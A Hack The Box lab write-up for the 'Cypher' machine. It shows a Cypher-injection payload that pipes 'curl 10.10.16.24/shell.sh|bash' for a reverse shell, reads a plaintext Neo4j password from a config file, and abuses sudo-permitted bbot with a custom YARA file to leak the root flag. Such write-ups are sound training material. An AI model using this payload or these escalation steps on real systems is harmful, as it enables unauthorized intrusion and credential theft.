Hackthebox: Cypher

Foued SAIDI Lv4

Overview

Cypher is a medium-difficulty machine from Hack The Box dealing initially with Cypher injection through manipulation of error codes to get us a system shell, later exfiltrating creds to get user flag. For privesc, we’ll abuse bbot with the ability to inject our own YARA rules to read the contents of the root flag.

Cypher-info-card
Cypher-info-card

Reconnaissance

1
2
3
4
5
6
7
8
PORT   STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We can see that we have our usual ssh port 22 and a web application deployed on port 80 redirecting us to cypher.htb so let’s add that to our /etc/hosts.

Web Application - http://cypher.htb/

We can see that we have a simple web app with a login functionality:

Web Application
Web Application

There was no way for me to create an account so I instantly thought of injecting some SQLI payloads, starting with a simple a' as a test:

Web Application
Web Application

That returned a really weird and interesting error, you can find the full error below:

1
Traceback (most recent call last): File "/app/app.py", line 142, in verify_creds results = run_cypher(cypher) File "/app/app.py", line 63, in run_cypher return [r.data() for r in session.run(cypher)] File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run self._auto_result._run( File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run self._attach() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach self._connection.fetch_message() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner func(*args, **kwargs) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message res = self._process_message(tag, fields) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message response.on_failure(summary_metadata or {}) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure raise Neo4jError.hydrate(**metadata) neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 56 (offset: 55)) "MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'a'' return h.value as hash" ^} During handling of the above exception, another exception occurred: Traceback (most recent call last): File "/app/app.py", line 165, in login creds_valid = verify_creds(username, password) File "/app/app.py", line 151, in verify_creds raise ValueError(f"Invalid cypher query: {cypher}: {traceback.format_exc()}") ValueError: Invalid cypher query: MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'a'' return h.value as hash: Traceback (most recent call last): File "/app/app.py", line 142, in verify_creds results = run_cypher(cypher) File "/app/app.py", line 63, in run_cypher return [r.data() for r in session.run(cypher)] File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run self._auto_result._run( File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run self._attach() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach self._connection.fetch_message() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner func(*args, **kwargs) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message res = self._process_message(tag, fields) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message response.on_failure(summary_metadata or {}) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure raise Neo4jError.hydrate(**metadata) neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 56 (offset: 55)) "MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'a'' return h.value as hash" ^}

Concluding from the logs, this is a neo4j database error, means we’re dealing with Cypher language .

I found this really cool blog post with Cypher injection payloads: https://pentester.land/blog/cypher-injection-cheatsheet/

To not waste too much time, I used this payload to land a shell on system:

1
a' return h.value as a UNION CALL custom.getUrlStatusCode("example.com;curl 10.10.16.24/shell.sh|bash;#") YIELD statusCode AS a RETURN a;//

This payload exploits a query injection by prematurely closing the current string (a’) and appending a UNION CALL to the custom procedure getUrlStatusCode(), which normally retrieves HTTP status codes. Instead of a normal URL, it passes example.com;curl 10.10.16.24/shell.sh|bash;#, where the semicolon injects a shell command that downloads and executes a malicious script from the attacker’s server (curl … | bash), while # comments out any trailing query parts to avoid errors. The YIELD statusCode AS a RETURN a segment ensures the query remains syntactically valid and returns a value, but the real impact is remote code execution on the server running this function.

And we catch a shell as neo4j user:

1
2
3
4
5
6
7
8
9
PS C:\Users\0xkujen> nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.16.24] from (UNKNOWN) [10.129.13.0] 45228
bash: cannot set terminal process group (1409): Inappropriate ioctl for device
bash: no job control in this shell
neo4j@cypher:/$ id
id
uid=110(neo4j) gid=111(neo4j) groups=111(neo4j)
neo4j@cypher:/$

As usual, we start off with some data exfiltration to get some credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
neo4j@cypher:/home/graphasm$ ls
ls
bbot_preset.yml
user.txt
neo4j@cypher:/home/graphasm$ cat bbot_preset.yml
cat bbot_preset.yml
targets:
- ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
modules:
neo4j:
username: neo4j
password: cU4btyib.20xtCMCXkBmerhK

And we do find some credentials that we can use for graphasm user:

1
2
3
4
5
6
7
neo4j@cypher:/home/graphasm$ su graphasm
su graphasm
Password: cU4btyib.20xtCMCXkBmerhK
id
uid=1000(graphasm) gid=1000(graphasm) groups=1000(graphasm)
cat user.txt
39accdfed86ffdd3a3d3976b6328b3c7

And we get our user flag!

Privilege Escalation - bbot abuse

Checking what we can execute as root, we find this interesting bbot binary:

1
2
3
4
5
6
graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User graphasm may run the following commands on cypher:
(ALL) NOPASSWD: /usr/local/bin/bbot

What we can do here is run bbot with a custom YARA rules file (/root/root.txt) in debug mode and –dry-run, which means it only loads configurations and modules without performing any live scanning. The output confirms that five internal modules (aggregate, cloudcheck, dnsresolve, excavate, speculate) and five output modules (csv, json, python, stdout, txt) were initialized, and custom YARA rules were successfully loaded and it will load us the root flag eventually on the output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
graphasm@cypher:~$  sudo /usr/local/bin/bbot -cy /root/root.txt -d --dry-run
______ _____ ____ _______
| ___ \| __ \ / __ \__ __|
| |___) | |__) | | | | | |
| ___ <| __ <| | | | | |
| |___) | |__) | |__| | | |
|______/|_____/ \____/ |_|
BIGHUGE BLS OSINT TOOL v2.1.0.4939rc

www.blacklanternsecurity.com/bbot

[DBUG] Preset bbot_cli_main: Adding module "stdout" of type "output"
[DBUG] Preset bbot_cli_main: Adding module "csv" of type "output"
[DBUG] Preset bbot_cli_main: Adding module "json" of type "output"
[DBUG] Preset bbot_cli_main: Adding module "python" of type "output"
[DBUG] Preset bbot_cli_main: Adding module "txt" of type "output"
[DBUG] Preset bbot_cli_main: Adding module "aggregate" of type "internal"
[DBUG] Preset bbot_cli_main: Adding module "dnsresolve" of type "internal"
[DBUG] Preset bbot_cli_main: Adding module "cloudcheck" of type "internal"
[DBUG] Preset bbot_cli_main: Adding module "excavate" of type "internal"
[DBUG] Preset bbot_cli_main: Adding module "speculate" of type "internal"
[VERB]
[VERB] ### MODULES ENABLED ###
[VERB]
[VERB] +------------+----------+-----------------+-------------------------------+---------------+----------------------+--------------------+
[VERB] | Module | Type | Needs API Key | Description | Flags | Consumed Events | Produced Events |
[VERB] +============+==========+=================+===============================+===============+======================+====================+
[VERB] | csv | output | No | Output to CSV | | * | |
[VERB] +------------+----------+-----------------+-------------------------------+---------------+----------------------+--------------------+
[VERB] | json | output | No | Output to Newline-Delimited | | * | |
[VERB] | | | | JSON (NDJSON) | | | |
[VERB] +------------+----------+-----------------+-------------------------------+---------------+----------------------+--------------------+
[VERB] | python | output | No | Output via Python API | | * | |
[VERB] +------------+----------+-----------------+-------------------------------+---------------+----------------------+--------------------+
[VERB] | stdout | output | No | Output to text | | * | |
[VERB] +------------+----------+-----------------+-------------------------------+---------------+----------------------+--------------------+
[VERB] | txt | output | No | Output to text | | * | |
[VERB] +------------+----------+-----------------+-------------------------------+---------------+----------------------+--------------------+
[VERB] | cloudcheck | internal | No | Tag events by cloud provider, | | * | |
[VERB] | | | | identify cloud resources like | | | |
[VERB] | | | | storage buckets | | | |
[VERB] +------------+----------+-----------------+-------------------------------+---------------+----------------------+--------------------+
[VERB] | dnsresolve | internal | No | | | * | |
[VERB] +------------+----------+-----------------+-------------------------------+---------------+----------------------+--------------------+
[VERB] | aggregate | internal | No | Summarize statistics at the | passive, safe | | |
[VERB] | | | | end of a scan | | | |
[VERB] +------------+----------+-----------------+-------------------------------+---------------+----------------------+--------------------+
[VERB] | excavate | internal | No | Passively extract juicy | passive | HTTP_RESPONSE, | URL_UNVERIFIED, |
[VERB] | | | | tidbits from scan data | | RAW_TEXT | WEB_PARAMETER |
[VERB] +------------+----------+-----------------+-------------------------------+---------------+----------------------+--------------------+
[VERB] | speculate | internal | No | Derive certain event types | passive | AZURE_TENANT, | DNS_NAME, FINDING, |
[VERB] | | | | from others by common sense | | DNS_NAME, | IP_ADDRESS, |
[VERB] | | | | | | DNS_NAME_UNRESOLVED, | OPEN_TCP_PORT, |
[VERB] | | | | | | HTTP_RESPONSE, | ORG_STUB |
[VERB] | | | | | | IP_ADDRESS, | |
[VERB] | | | | | | IP_RANGE, SOCIAL, | |
[VERB] | | | | | | STORAGE_BUCKET, URL, | |
[VERB] | | | | | | URL_UNVERIFIED, | |
[VERB] | | | | | | USERNAME | |
[VERB] +------------+----------+-----------------+-------------------------------+---------------+----------------------+--------------------+
[VERB] Loading word cloud from /root/.bbot/scans/liquid_bellatrix/wordcloud.tsv
[DBUG] Failed to load word cloud from /root/.bbot/scans/liquid_bellatrix/wordcloud.tsv: [Errno 2] No such file or directory: '/root/.bbot/scans/liquid_bellatrix/wordcloud.tsv'
[INFO] Scan with 0 modules seeded with 0 targets (0 in whitelist)
[WARN] No scan modules to load
[DBUG] Installing cloudcheck - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []}
[DBUG] No dependency work to do for module "cloudcheck"
[DBUG] Installing stdout - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []}
[DBUG] No dependency work to do for module "stdout"
[DBUG] Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []}
[DBUG] No dependency work to do for module "dnsresolve"
[DBUG] Installing csv - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []}
[DBUG] No dependency work to do for module "csv"
[DBUG] Installing excavate - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []}
[DBUG] No dependency work to do for module "excavate"
[DBUG] Installing json - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []}
[DBUG] No dependency work to do for module "json"
[DBUG] Installing aggregate - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []}
[DBUG] No dependency work to do for module "aggregate"
[DBUG] Installing speculate - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []}
[DBUG] No dependency work to do for module "speculate"
[DBUG] Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []}
[DBUG] No dependency work to do for module "python"
[DBUG] Installing txt - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []}
[DBUG] No dependency work to do for module "txt"
[VERB] Loading 0 scan modules:
[VERB] Loading 5 internal modules: aggregate,cloudcheck,dnsresolve,excavate,speculate
[VERB] Loaded module "aggregate"
[VERB] Loaded module "cloudcheck"
[VERB] Loaded module "dnsresolve"
[VERB] Loaded module "excavate"
[VERB] Loaded module "speculate"
[INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate)
[VERB] Loading 5 output modules: csv,json,python,stdout,txt
[VERB] Loaded module "csv"
[VERB] Loaded module "json"
[VERB] Loaded module "python"
[VERB] Loaded module "stdout"
[VERB] Loaded module "txt"
[INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt)
[VERB] Setting up modules
[DBUG] _scan_ingress: Setting up module _scan_ingress
[DBUG] _scan_ingress: Finished setting up module _scan_ingress
[DBUG] dnsresolve: Setting up module dnsresolve
[DBUG] dnsresolve: Finished setting up module dnsresolve
[DBUG] aggregate: Setting up module aggregate
[DBUG] aggregate: Finished setting up module aggregate
[DBUG] cloudcheck: Setting up module cloudcheck
[DBUG] cloudcheck: Finished setting up module cloudcheck
[DBUG] internal.excavate: Setting up module excavate
[DBUG] internal.excavate: Including Submodule CSPExtractor
[DBUG] internal.excavate: Including Submodule EmailExtractor
[DBUG] internal.excavate: Including Submodule ErrorExtractor
[DBUG] internal.excavate: Including Submodule FunctionalityExtractor
[DBUG] internal.excavate: Including Submodule HostnameExtractor
[DBUG] internal.excavate: Including Submodule JWTExtractor
[DBUG] internal.excavate: Including Submodule NonHttpSchemeExtractor
[DBUG] internal.excavate: Including Submodule ParameterExtractor
[DBUG] internal.excavate: Parameter Extraction disabled because no modules consume WEB_PARAMETER events
[DBUG] internal.excavate: Including Submodule SerializationExtractor
[DBUG] internal.excavate: Including Submodule URLExtractor
[DBUG] internal.excavate: Successfully loaded custom yara rules file [/root/root.txt]
[DBUG] internal.excavate: Final combined yara rule contents: 519ec2c48dbd114a85096a3fefbf8516

And that was it for Cypher; a short writeup. Hope you learned something new!
-0xkujen

  • Title: Hackthebox: Cypher
  • Author: Foued SAIDI
  • Created at : 2025-07-24 11:50:16
  • Updated at : 2025-07-24 20:22:18
  • Link: https://kujen5.github.io/2025/07/24/Hackthebox-Cypher/
  • License: This work is licensed under CC BY-NC-SA 4.0.